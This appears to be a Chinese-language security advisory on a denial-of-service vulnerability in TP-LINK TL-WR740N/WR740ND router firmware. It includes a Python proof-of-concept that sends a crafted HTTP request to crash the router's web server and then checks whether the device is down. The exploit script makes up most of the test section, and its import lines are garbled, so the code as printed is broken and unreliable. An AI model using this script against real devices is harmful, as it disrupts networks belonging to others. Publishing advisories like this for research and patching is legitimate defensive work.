WR740ND Wireless N Routers HTTP处理拒绝服务漏洞

发布日期:2013-12-03
更新日期:2013-12-05

受影响系统:
TP-LINK TL-WR740N
描述:
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BUGTRAQ  ID: 64068

TL-WR740N及TL-WR740ND都是150Mbps的无线路由器。

TP-Link TL-WR740N/TL-WR740ND 固件版本3.12.11 Build 120320 Rel.51047n在处理特制HTTP请求时存在拒绝服务漏洞,攻击者可利用此漏洞导致受影响设备崩溃。

<*来源:Dino Caus
 
  链接:
*>

测试方法:
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警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/Python
import socket
import import
sys urllib2

host = ""
port = 0
if(len(sys.argv) >= 2):
    host = sys.argv[1]
    port = sys.argv[2]
else:
    print "Invalid number of the arguments."
    print "Usage <server> <port>"
    exit(1)
   
   
print "Connecting on ",host,":",port

s = socket.socket();
stringOfDeath = "GET / HTTP/1.1\r\n";
stringOfDeath = stringOfDeath + "Accept-Encoding: identity\r\n";
stringOfDeath = stringOfDeath + "Host: "+ host + "\r\n";
stringOfDeath = stringOfDeath + "Connection: close\r\n";
stringOfDeath = stringOfDeath + "User-Agent: PythonLib/2.7\r\n";

s.connect((host,int(port)))

print "Sending packet..."
s.send(stringOfDeath)
print "Packet sent."
print "Check if router http server down..."

try:
    response = urllib2.urlopen("http://"+host+":"+port,None,5)
    response.read()
except socket.timeout:
    print "Timeout occured, http server probaly down."
    exit(1)

建议:
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厂商补丁:

TP-LINK
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

?model=TL-WR740N

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